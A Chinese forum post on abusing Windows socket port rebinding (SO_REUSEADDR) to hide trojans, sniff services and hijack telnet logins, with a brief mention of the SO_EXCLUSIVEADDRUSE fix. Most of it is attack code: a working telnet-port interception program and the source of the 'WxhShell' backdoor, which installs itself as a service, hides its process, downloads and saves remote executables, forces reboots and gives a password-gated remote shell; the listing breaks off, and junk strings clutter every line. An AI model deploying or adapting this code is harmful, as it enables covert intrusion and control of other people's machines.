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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GXB4&Q!C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;:1d<Q|  
avxI\twAU  
  saddr.sin_family = AF_INET; "Q9S<O8)  
v<bq1QG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Im%|9g;P  
0 z{S@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n m(yFX?=  
*FDz20S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )k0e}  
2pFOC;tl  
  这意味着什么?意味着可以进行如下的攻击:  =Run  
;SkC[;`J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t$=FcKUV}f  
U~Aw=h5SD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^zkTV_,cRp  
, RfU1R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &3v{~Xg)  
L^rtypkJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {LTb-CB  
Qfo'w%px  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H4 Y7p  
:Bp{yUgi@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j~c7nWfX  
d$)'?Sf]h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (WiA  
!OM9aITv[  
  #include GyJp! xFB  
  #include I$0`U;Xd  
  #include Mh'QD)28c  
  #include    I2("p.+R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ie^:PcU  
  int main() [bkMl+:/HG  
  { @eMDRbgq;[  
  WORD wVersionRequested; 0X+Jj/-ge  
  DWORD ret; R[ S*ON  
  WSADATA wsaData; oQ~Q?o]Ri  
  BOOL val; ,R0@`t1 p  
  SOCKADDR_IN saddr; 8h9t8?  
  SOCKADDR_IN scaddr; a*&P>Lwe7&  
  int err; #G{}Rd|!  
  SOCKET s; gVCkj!{  
  SOCKET sc; ||hy+f[A  
  int caddsize; udB:ys  
  HANDLE mt; nk9hQRP? 8  
  DWORD tid;   u,[Yaw"L  
  wVersionRequested = MAKEWORD( 2, 2 ); )/2* <jr  
  err = WSAStartup( wVersionRequested, &wsaData ); jo=XxA  
  if ( err != 0 ) { y=YD4m2W  
  printf("error!WSAStartup failed!\n"); w(`X P  
  return -1; td4*+)'FY  
  } 94I8~Jj4  
  saddr.sin_family = AF_INET; //KTEAYyy#  
   !.iu_xJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N'Va&"&73>  
_6THyj$f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `m<l8'g  
  saddr.sin_port = htons(23); Cca( oV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N J:]jd  
  { {>OuxVl??k  
  printf("error!socket failed!\n"); 7M}T^LC  
  return -1; i\2MphS  
  } U jVo "K  
  val = TRUE; l3n* b6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l0Jpf9Aue  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NFY,$  
  { (Z.K3  
  printf("error!setsockopt failed!\n"); K]zBPfx  
  return -1; ^mFuZ~g;?  
  } NAV}q<@v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Svn|vH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J/w?Fa<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #QZg{  
Eag->mw/~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B$g!4C `g  
  { S+|aCRS  
  ret=GetLastError(); `y0ZFh1>X  
  printf("error!bind failed!\n"); Q`g0g)3w  
  return -1; GB\.msls  
  } 9cFFQM|o  
  listen(s,2); |U1X~\""  
  while(1) *kgbcUf8  
  { NWwfNb>  
  caddsize = sizeof(scaddr); 65N;PH59D  
  //接受连接请求 bjPI:j*XU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); - ,q&Zm  
  if(sc!=INVALID_SOCKET) e+bpbyV_#  
  { dTyTj|"x{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *Au4q<   
  if(mt==NULL) ;M8N%  
  { vuuID24:  
  printf("Thread Creat Failed!\n"); Ts:dnGR5  
  break; 56u'XMB?  
  } ckP&N:tC  
  } ko im@B  
  CloseHandle(mt); 1 dz&J\|E#  
  } /-E>5wU  
  closesocket(s);  ]N-K`c]  
  WSACleanup(); |k)h' ?  
  return 0; PmvTCfsg  
  }   ho#] ?Z#  
  DWORD WINAPI ClientThread(LPVOID lpParam) B^U5= L[:p  
  { Ha$|9li`  
  SOCKET ss = (SOCKET)lpParam; ?ZdHuuDN~  
  SOCKET sc; f!P.=Qo[=  
  unsigned char buf[4096]; +%eMm.(  
  SOCKADDR_IN saddr; ,V)yOLApVj  
  long num; vkE6e6,Qc  
  DWORD val; "<3PyW?zt  
  DWORD ret; ^O#,%>1J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y2\, L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T9{94Ra  
  saddr.sin_family = AF_INET; " FcA:7+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *ky5SM(NR  
  saddr.sin_port = htons(23); qOZe\<.V<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '68{dyFZL  
  { 7R<<}dA]  
  printf("error!socket failed!\n"); |=l;UqB  
  return -1; -DX|[70  
  } Y!i4P#4+q  
  val = 100;  tAP~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H h$D:ZO  
  { | g> K$m^  
  ret = GetLastError(); [@#P3g\:>W  
  return -1; I6YN&9Y  
  } ],>Z' W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $tj[ *  
  { wi:]oo#  
  ret = GetLastError(); NJs )2  
  return -1; \M=" R-&b  
  } ff-9NvW4v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rla1,{1  
  { nXb;&n%  
  printf("error!socket connect failed!\n"); t=iy40_T  
  closesocket(sc); .cQwj L  
  closesocket(ss); kxWf1hIz0  
  return -1; %l,p />r  
  } $oq&uL  
  while(1) #p*{p)]HiA  
  { p[hA?dXn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n8A*Y3~R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +_06{7@h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B2 Tp;)  
  num = recv(ss,buf,4096,0); pHni"i T  
  if(num>0) uV52ko,  
  send(sc,buf,num,0); PS`v3|d}}}  
  else if(num==0) (Pin9^`ALc  
  break; "%<Oadz ap  
  num = recv(sc,buf,4096,0); 6~&4>2b0f  
  if(num>0) `WC~cb\  
  send(ss,buf,num,0); 6 jRF[N8  
  else if(num==0) xO'1|b^&  
  break; mxq'A  
  } 3Q~ng2Wv%  
  closesocket(ss); puL1A?Y8UM  
  closesocket(sc); |0B h  
  return 0 ; 0kQAT #  
  } N02N w(pi  
fi:Z*-  
kE UfQLbn  
========================================================== Goz9"yazg  
;?yd;GOt)  
下边附上一个代码,,WXhSHELL "[BuQ0(g  
Kv{i_%j   
========================================================== w \i#  
/(E)|*~6  
#include "stdafx.h" [j eZZB  
$a(wM1S4  
#include <stdio.h> [FAoC3 k-h  
#include <string.h> oslrv7EK  
#include <windows.h> IpB0~`7YI  
#include <winsock2.h> CcLP/  
#include <winsvc.h> x>!#8?-h  
#include <urlmon.h> Av _1cvR:  
PLw;9^<  
#pragma comment (lib, "Ws2_32.lib") p(v+j_ak  
#pragma comment (lib, "urlmon.lib") ^E{~{  
*'QD!Tc  
#define MAX_USER   100 // 最大客户端连接数 @Ej{sC!0T  
#define BUF_SOCK   200 // sock buffer i.)k V B  
#define KEY_BUFF   255 // 输入 buffer Jf|J":S  
 *9`@  
#define REBOOT     0   // 重启 ]{0 2!  
#define SHUTDOWN   1   // 关机 Zc{at}{  
{O]Cj~}  
#define DEF_PORT   5000 // 监听端口 DKF`uRvGN:  
-wW%+wH  
#define REG_LEN     16   // 注册表键长度 U5Q `r7  
#define SVC_LEN     80   // NT服务名长度 AHIk7[w  
yw{GO([ZQ  
// 从dll定义API hJkIFyQ{j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &`Z>zT}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w6qx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4@4$kro  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %_(e{Mf)  
k,0JW=Vh>|  
// wxhshell配置信息 L V?- g  
struct WSCFG { =Mc*~[D/  
  int ws_port;         // 监听端口 MJt?^G (w?  
  char ws_passstr[REG_LEN]; // 口令 <I&X[Sqp  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?Sh]m/WZd[  
  char ws_regname[REG_LEN]; // 注册表键名 =xw) [  
  char ws_svcname[REG_LEN]; // 服务名 ,~hvFTJI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &+xNR2";  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p4fU/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |/Ggsfmby  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (VI4kRj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *A@~!@XE4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Vp['&  
';^VdR]fk  
}; GghZ".O  
v<ASkkh>  
// default Wxhshell configuration DKPX_::  
struct WSCFG wscfg={DEF_PORT, ,*+F*:o(m  
    "xuhuanlingzhe", [as\>@o  
    1, Z7V 1e<E  
    "Wxhshell", %S. _3`A  
    "Wxhshell", <2fZYt vt  
            "WxhShell Service", q$yTG!q*  
    "Wrsky Windows CmdShell Service", qdx(wGG  
    "Please Input Your Password: ", ,@;",  
  1, N41)?-7F  
  "http://www.wrsky.com/wxhshell.exe", o 3#qp>R  
  "Wxhshell.exe" 7ykpDl^@  
    }; Z_zN:BJ8L  
%u, H2 *  
// 消息定义模块 q3z<v:=1y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [O2xE037h`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,gVA^]eDh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0B>hVaj>-  
char *msg_ws_ext="\n\rExit."; K63OjR >H  
char *msg_ws_end="\n\rQuit."; &u&/t?  
char *msg_ws_boot="\n\rReboot..."; @a'Rn  
char *msg_ws_poff="\n\rShutdown..."; P6!c-\  
char *msg_ws_down="\n\rSave to "; wI'T J e,  
Kyq/'9`  
char *msg_ws_err="\n\rErr!"; -lQ8 &eB  
char *msg_ws_ok="\n\rOK!"; t3}>5cAxy  
NoB)tAvw  
char ExeFile[MAX_PATH]; bE74Ui  
int nUser = 0; 8doKB<#_+=  
HANDLE handles[MAX_USER]; F/tGk9v  
int OsIsNt; bX Q*d_]WT  
A_tdtN<  
SERVICE_STATUS       serviceStatus; >=G;rs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &GGJ=c\  
eGkB#.+J!  
// 函数声明 8d?r )/~  
int Install(void); jdiH9]&U  
int Uninstall(void); W4%I%&j  
int DownloadFile(char *sURL, SOCKET wsh); 7?9QlUO  
int Boot(int flag); >gRb.-{ux  
void HideProc(void); vO`~rUA  
int GetOsVer(void); 93Kd7x-3  
int Wxhshell(SOCKET wsl); mSm:>hBd  
void TalkWithClient(void *cs); 8oK*NB29  
int CmdShell(SOCKET sock); r7+"i9  
int StartFromService(void); F0t-b%w,  
int StartWxhshell(LPSTR lpCmdLine); sG7G$G*ta!  
4W5[1GE.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 84j6.\,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pX8TzmIB0  
H*51GxK  
// 数据结构和表定义 HL]8E}e\"  
SERVICE_TABLE_ENTRY DispatchTable[] = t6DgWKT6  
{ K~$A2b95  
{wscfg.ws_svcname, NTServiceMain}, hfE5[  
{NULL, NULL} RL4J{4K  
}; {e~#6.$:  
"m,)3zND3  
// 自我安装 R&KFF'%  
int Install(void) |(u6xPs;P  
{ <|8N\FU{  
  char svExeFile[MAX_PATH]; L{1MyR7`I+  
  HKEY key; q4=Gj`\43  
  strcpy(svExeFile,ExeFile); *eL&fC  
c|m*< i  
// 如果是win9x系统,修改注册表设为自启动 NXo$rf:  
if(!OsIsNt) { ?*cr|G$r[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v+Mi"ZAd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x7J8z\b"O  
  RegCloseKey(key); ##!idcC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N iw~0"-V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r&+8\/{  
  RegCloseKey(key); +i^@QNOa  
  return 0; cZC%W!pT  
    } 2>TOC BB"  
  } 3N c#6VI  
} 0h/bC)z  
else { =\~<##sRJ  
gr1NcHu  
// 如果是NT以上系统,安装为系统服务 #0$fZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +lC?Vpi^  
if (schSCManager!=0) hhWIwR  
{ mO<1&{qMZ  
  SC_HANDLE schService = CreateService y/i{6P2`,D  
  (  B0 E`C  
  schSCManager, |?A:[C#X  
  wscfg.ws_svcname, X!,huB^i  
  wscfg.ws_svcdisp, xnP@ h  
  SERVICE_ALL_ACCESS, 3D 4-Wo4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (%~^Kmfb0  
  SERVICE_AUTO_START, Gk:tT1  
  SERVICE_ERROR_NORMAL, |ht:_l 8  
  svExeFile, 7md,!|m  
  NULL, gZq _BY_U  
  NULL, +xNV1bM  
  NULL, O]_a$U*6  
  NULL, B 703{k  
  NULL sU Er?TZ  
  ); IVSOSl|  
  if (schService!=0) C(CwsdlP  
  { &fofFVQnW  
  CloseServiceHandle(schService); W{U z#o  
  CloseServiceHandle(schSCManager); Sf*1Z~P|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V#X#rDfJZ  
  strcat(svExeFile,wscfg.ws_svcname); .n[;H;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;n,xu0/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mqj]=Fq*  
  RegCloseKey(key); Mc,3j~i  
  return 0; ?_ 476A  
    } ci 4K Nv;  
  } r)S:-wP  
  CloseServiceHandle(schSCManager); 0:I[;Q t  
} sGFvSW  
} H^ 'As;R  
n)|{tb^  
return 1; FYs]I0}|  
} 8;Zz25*  
MB7`'W  
// 自我卸载 ~Uw;6VXV1  
int Uninstall(void) .jUM'; l  
{ rjK]zD9  
  HKEY key; w)N~u%  
9U>OeTh(  
if(!OsIsNt) { O NVhB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y%Rq6P=4Q  
  RegDeleteValue(key,wscfg.ws_regname); Ie4\d2tQ;  
  RegCloseKey(key); `%A vn<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]A%]W^G  
  RegDeleteValue(key,wscfg.ws_regname); fn#qcZv?  
  RegCloseKey(key); CY~ S{w  
  return 0; t"JE+G  
  } D*&#}c,*  
} GJ5R <f9I  
} s Poh\n  
else { J6 J">  
?wP/l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZyM7)!+kPa  
if (schSCManager!=0) >{S ~(KxK  
{  8 X Qo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N TcojA{V$  
  if (schService!=0) \5|MW)x  
  { 5Q;Q  
  if(DeleteService(schService)!=0) { $J8g)cS  
  CloseServiceHandle(schService); / 3eGt7x#  
  CloseServiceHandle(schSCManager); !\VzX  
  return 0; x(n|zp ("  
  } v%rmfIU  
  CloseServiceHandle(schService); |'Z+`HI  
  } qv^P  
  CloseServiceHandle(schSCManager); e%s1D  
} AL!ppi  
} sZI"2[bk  
'ZJb`  
return 1; EXMW,  
} QJ&]4*>a  
STl8h}C  
// 从指定url下载文件 -Ew>3Q  
int DownloadFile(char *sURL, SOCKET wsh) E.%V 0}  
{ b(oe^jeGz  
  HRESULT hr; N5c*#lHI  
char seps[]= "/"; jG~-V<&  
char *token; ebn3r:IU-  
char *file; E{0e5.{  
char myURL[MAX_PATH]; Q r\eT}  
char myFILE[MAX_PATH]; +BeA4d8b  
DIABR%0  
strcpy(myURL,sURL); &gJ1*"$9  
  token=strtok(myURL,seps); )DmydyQ'  
  while(token!=NULL) ;>uB$8<_7  
  { ",l6-<s  
    file=token; !Q WNHL  
  token=strtok(NULL,seps); 7t+d+sQ-l  
  } mPU}]1*p  
Zs(BViTb|  
GetCurrentDirectory(MAX_PATH,myFILE); IsmZEVuC  
strcat(myFILE, "\\"); hraR:l D  
strcat(myFILE, file); eR4ib-nS  
  send(wsh,myFILE,strlen(myFILE),0); :zX^H9'E<(  
send(wsh,"...",3,0); ftvu69f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?wu@+  
  if(hr==S_OK) @0]w!q  
return 0; 0C;Js\>3]  
else 8 :WN@  
return 1; h/oun2C  
Fv7]1EO.  
} [n2zdiiBd  
Qo :vAv  
// 系统电源模块  V~VUl)  
int Boot(int flag) ;vneeW4|  
{ ep~+]7\  
  HANDLE hToken; ber&!9  
  TOKEN_PRIVILEGES tkp; )!kt9lK  
tA^+RO4  
  if(OsIsNt) { T$`m!mQ4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S{?l/*Il*_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aGBd~y@e  
    tkp.PrivilegeCount = 1; 1d~d1Rd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; je@&|9h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (a0(ZOKH  
if(flag==REBOOT) { =/}Rnl+c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !ui t  
  return 0; JNY?] |=  
} tmOy"mq67  
else { *xJ]e.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `v@Z|rv,  
  return 0; X&HYWH'@,  
} - . o,bg  
  } Rz&`L8Bz  
  else { L@z[b^  
if(flag==REBOOT) { i6P}MtC1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g4=C]\1  
  return 0; IqV" 4  
} Ux1j+}y  
else { -8l(eDm"m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gk+R, :  
  return 0; [0qswsV  
} K>vl o/#!  
} L){V(*K '  
c]Gs{V]\  
return 1; 7TEpjSuF  
} @`)>- k  
gm pY[  
// win9x进程隐藏模块 p6NPWaBR  
void HideProc(void) unc6 V%  
{ !?_CIt$p  
? A;RTM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h<)ceD<,  
  if ( hKernel != NULL ) 4i.&geX A.  
  { C[<{>fl)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'zav%}b]L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +'SL5d*  
    FreeLibrary(hKernel); 8G3 Z,8P4(  
  } 1) K<x  
mhv6.W@  
return; Qy"%%keV'T  
} 4CchE15  
9K*yds  
// 获取操作系统版本 %/17K2g  
int GetOsVer(void) >r] bfN,  
{ Fv \yhR  
  OSVERSIONINFO winfo; 9ZjSM,+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `<>Emc8Z  
  GetVersionEx(&winfo); 0?3Ztdlb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >'4Bq*5>  
  return 1; Gma)8X#  
  else md_9bq/w  
  return 0; x35(i  
} l][{ #>V  
[U_S u,  
// 客户端句柄模块 ViqcJD  
int Wxhshell(SOCKET wsl) 0;,4.hsh  
{ ZOGH.`  
  SOCKET wsh; [m7^Euury  
  struct sockaddr_in client; Zi47)8  
  DWORD myID; = 8F/]8_  
@[M5$,"  
  while(nUser<MAX_USER) x/Pi#Xm  
{ 1df }gG  
  int nSize=sizeof(client); +$Q33@F5l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J,ZvaF  
  if(wsh==INVALID_SOCKET) return 1; KN>U6=WN  
\(Uw.ri  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @N?A 0S/  
if(handles[nUser]==0) "71@WLlN  
  closesocket(wsh); ,6Ulj+l  
else A+d&aE }3V  
  nUser++; _ F&BSu  
  } f6x}M9xS%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x{IxS?.j+  
Z)cGe1?q  
  return 0; gR)T(%W  
} YNCQPN\v`1  
fMaUIJ:Q9  
// 关闭 socket ]YcM45xg  
void CloseIt(SOCKET wsh) Ie(vTP1Cj  
{ SXn\k;F<  
closesocket(wsh); }ie\-V  
nUser--; `~'yy q  
ExitThread(0); :4]^PB@dl  
} %k(V 2]WF  
.K>r ao'  
// 客户端请求句柄 5}FPqyK"  
void TalkWithClient(void *cs) U5 ~L^  
{ 1Ao YG_  
c` ^I% i  
  SOCKET wsh=(SOCKET)cs;  u!TVvc  
  char pwd[SVC_LEN]; g+Z~"O]$M  
  char cmd[KEY_BUFF]; Jsf -t  
char chr[1];  S^;D\6(r  
int i,j; g7G=ga  
6j9P`#Lt  
  while (nUser < MAX_USER) { s,Uc cA@  
4$D:<8B  
if(wscfg.ws_passstr) { _:4n&1{.E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ajFSbi)l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '(M8D5?N-  
  //ZeroMemory(pwd,KEY_BUFF); XKqUbi  
      i=0; _U<sz{6  
  while(i<SVC_LEN) { qE73M5L&  
^DZ(T+q,  
  // 设置超时 )r _zM~jI  
  fd_set FdRead; |ho|Kl `=  
  struct timeval TimeOut; S7SD$+fX  
  FD_ZERO(&FdRead); ghq#-N/t  
  FD_SET(wsh,&FdRead); ye Q6\yi  
  TimeOut.tv_sec=8; h\GlyH~  
  TimeOut.tv_usec=0; 48 DC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5N=QS1<$5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B=K& +  
67zCil  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qH(3Z^#.|  
  pwd=chr[0]; @?,iy?BSG  
  if(chr[0]==0xd || chr[0]==0xa) { `8$gaA*  
  pwd=0; iYE:o{  
  break; 9(`d h  
  } 6\4~&+;wL  
  i++; z)$X/v  
    } G?\\k[#,&  
u*/.   
  // 如果是非法用户,关闭 socket B16,c9[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cnfjO g'\{  
} J)R;NYl  
x O`#a=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UR;F W`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R<>ptwy  
Ph(bgQg  
while(1) { % j4  
&HdzbKO=  
  ZeroMemory(cmd,KEY_BUFF); <4!SQgL  
hVPSW# .d  
      // 自动支持客户端 telnet标准   MpZ #  
  j=0; 1^<R2x  
  while(j<KEY_BUFF) { 7Ddo ^Gtx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  +z/_'DE  
  cmd[j]=chr[0]; "/v{B?~%!  
  if(chr[0]==0xa || chr[0]==0xd) { |y+<|fb,a  
  cmd[j]=0; |7G +O+j  
  break; G:TM k4  
  } :_R[@?c  
  j++; o5(`7XV6D  
    } Qs(WyP#  
yEm[C(gZ  
  // 下载文件 rSGp]W|  
  if(strstr(cmd,"http://")) { n_}=G RR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t#pF.!9=  
  if(DownloadFile(cmd,wsh)) 1_}* aQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F2QX ^*  
  else R7xKVS_MP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k"-2OT  
  } S%ULGX:@ga  
  else { .GG6wL<$?  
Oy>u/g~  
    switch(cmd[0]) { p BU,"Yy&  
  *`]LbS  
  // 帮助 iwJeV J  
  case '?': { zd1X(e<|{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wvH=4TT=w"  
    break; p$r=jF&  
  } DIx!Sw7EC  
  // 安装 k+8K[ ?K-  
  case 'i': { [ 0? *J<d  
    if(Install()) Kh{C$b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W( O)J$j  
    else ')ZM# :G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ruMS5OqM  
    break; 19.+"H  
    } (of=hzT^?  
  // 卸载 v;=F $3  
  case 'r': { 6y;R1z b  
    if(Uninstall()) FdT@}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $LxfdSa  
    else ;MD6iBD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GEJEhwO;H  
    break; RweK<Flo'S  
    } &p/ ^A[  
  // 显示 wxhshell 所在路径 =u M2l  
  case 'p': { xl.iI$P  
    char svExeFile[MAX_PATH]; Bismd21F6=  
    strcpy(svExeFile,"\n\r"); e;QPn(  
      strcat(svExeFile,ExeFile); {<\[gm\X  
        send(wsh,svExeFile,strlen(svExeFile),0); ZbS* zKEW  
    break; `/WX!4eR,  
    } UZsn14xSA  
  // 重启 E038p]M!  
  case 'b': { !3]}3jZ.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !3Xu#^Xxj  
    if(Boot(REBOOT)) $+#Lq.3,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) `u)#@x  
    else { u 3&9R)J1  
    closesocket(wsh); 0FL PZaRP  
    ExitThread(0); lJe=z  
    } B]):$#{Rxl  
    break; 7WuhYJbf  
    } HvhP9_MB  
  // 关机 <+0TN]?  
  case 'd': { ~Q  q0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *{}Y :  
